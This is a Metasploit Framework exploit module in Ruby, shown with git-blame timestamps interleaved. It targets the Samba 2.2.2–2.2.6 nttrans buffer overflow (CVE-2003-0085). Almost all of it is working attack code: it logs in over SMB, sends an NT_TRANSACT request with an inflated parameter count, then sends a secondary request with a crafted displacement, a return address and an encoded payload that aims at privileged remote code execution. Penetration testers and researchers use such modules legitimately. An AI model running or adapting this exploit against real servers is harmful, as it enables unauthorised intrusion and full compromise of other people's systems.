2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-28 03:54:24 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-11-28 17:18:43 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-11-28 17:18:43 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-28 03:54:24 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',
|
2006-11-28 17:18:43 +00:00
|
|
|
'Description' => %q{
|
2010-04-28 03:54:24 +00:00
|
|
|
This module attempts to exploit a buffer overflow vulnerability present in
|
|
|
|
versions 2.2.2 through 2.2.6 of Samba.
|
|
|
|
|
|
|
|
The Samba developers report this as:
|
|
|
|
"Bug in the length checking for encrypted password change requests from clients."
|
|
|
|
|
|
|
|
The bug was discovered and reported by the Debian Samba Maintainers.
|
2006-11-28 17:18:43 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-28 17:18:43 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2007-01-05 14:44:09 +00:00
|
|
|
[ 'CVE', '2003-0085' ],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '6323' ],
|
|
|
|
[ 'BID', '7106' ],
|
2010-04-28 03:54:24 +00:00
|
|
|
[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
|
2006-11-28 17:18:43 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'MinNops' => 512,
|
|
|
|
},
|
2010-04-28 03:54:24 +00:00
|
|
|
'Targets' =>
|
2006-11-28 17:18:43 +00:00
|
|
|
[
|
2010-04-28 03:54:24 +00:00
|
|
|
[ "Samba 2.2.x Linux x86",
|
2006-11-28 17:18:43 +00:00
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Rets' => [0x01020304, 0x41424344],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Apr 7 2003'
|
2006-11-28 17:18:43 +00:00
|
|
|
))
|
2010-04-28 03:54:24 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(139)
|
|
|
|
], self.class)
|
2006-11-28 17:18:43 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
# 0x081fc968
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pattern = Rex::Text.pattern_create(12000)
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pattern[532, 4] = [0x81b847c].pack('V')
|
|
|
|
pattern[836, payload.encoded.length] = payload.encoded
|
|
|
|
|
2010-04-28 03:54:24 +00:00
|
|
|
# 0x081b8138
|
2006-11-28 17:18:43 +00:00
|
|
|
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
|
2010-04-28 03:54:24 +00:00
|
|
|
targ_address = 0xfffbb7d0
|
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
#
|
|
|
|
# Send a NTTrans request with ParameterCountTotal set to the buffer length
|
|
|
|
#
|
|
|
|
|
|
|
|
subcommand = 1
|
|
|
|
param = ''
|
|
|
|
body = ''
|
|
|
|
setup_count = 0
|
|
|
|
setup_data = ''
|
|
|
|
data = param + body
|
|
|
|
|
|
|
|
pkt = CONST::SMB_NTTRANS_PKT.make_struct
|
|
|
|
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
base_offset = pkt.to_s.length + (setup_count * 2) - 4
|
|
|
|
param_offset = base_offset
|
|
|
|
data_offset = param_offset + param.length
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
|
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
|
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
|
|
|
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pkt['Payload'].v['ParamCountTotal'] =12000
|
|
|
|
pkt['Payload'].v['DataCountTotal'] = body.length
|
|
|
|
pkt['Payload'].v['ParamCountMax'] = 1024
|
|
|
|
pkt['Payload'].v['DataCountMax'] = 65504
|
|
|
|
pkt['Payload'].v['ParamCount'] = param.length
|
|
|
|
pkt['Payload'].v['ParamOffset'] = param_offset
|
|
|
|
pkt['Payload'].v['DataCount'] = body.length
|
|
|
|
pkt['Payload'].v['DataOffset'] = data_offset
|
|
|
|
pkt['Payload'].v['SetupCount'] = setup_count
|
|
|
|
pkt['Payload'].v['SetupData'] = setup_data
|
|
|
|
pkt['Payload'].v['Subcommand'] = subcommand
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pkt['Payload'].v['Payload'] = data
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
self.simple.client.smb_send(pkt.to_s)
|
|
|
|
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
#
|
|
|
|
# Send a NTTrans secondary request with the magic displacement
|
|
|
|
#
|
|
|
|
|
|
|
|
param = pattern
|
|
|
|
body = ''
|
|
|
|
data = param + body
|
|
|
|
|
|
|
|
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
|
|
|
|
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
base_offset = pkt.to_s.length - 4
|
|
|
|
param_offset = base_offset
|
|
|
|
data_offset = param_offset + param.length
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
|
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
|
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
|
|
|
pkt['Payload']['SMB'].v['WordCount'] = 18
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pkt['Payload'].v['ParamCountTotal'] = param.length
|
|
|
|
pkt['Payload'].v['DataCountTotal'] = body.length
|
|
|
|
pkt['Payload'].v['ParamCount'] = param.length
|
|
|
|
pkt['Payload'].v['ParamOffset'] = param_offset
|
|
|
|
pkt['Payload'].v['ParamDisplace'] = targ_address
|
|
|
|
pkt['Payload'].v['DataCount'] = body.length
|
|
|
|
pkt['Payload'].v['DataOffset'] = data_offset
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
pkt['Payload'].v['Payload'] = data
|
2010-04-28 03:54:24 +00:00
|
|
|
|
2006-11-28 17:18:43 +00:00
|
|
|
self.simple.client.smb_send(pkt.to_s)
|
|
|
|
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)
|
|
|
|
|
|
|
|
|
|
|
|
handler
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|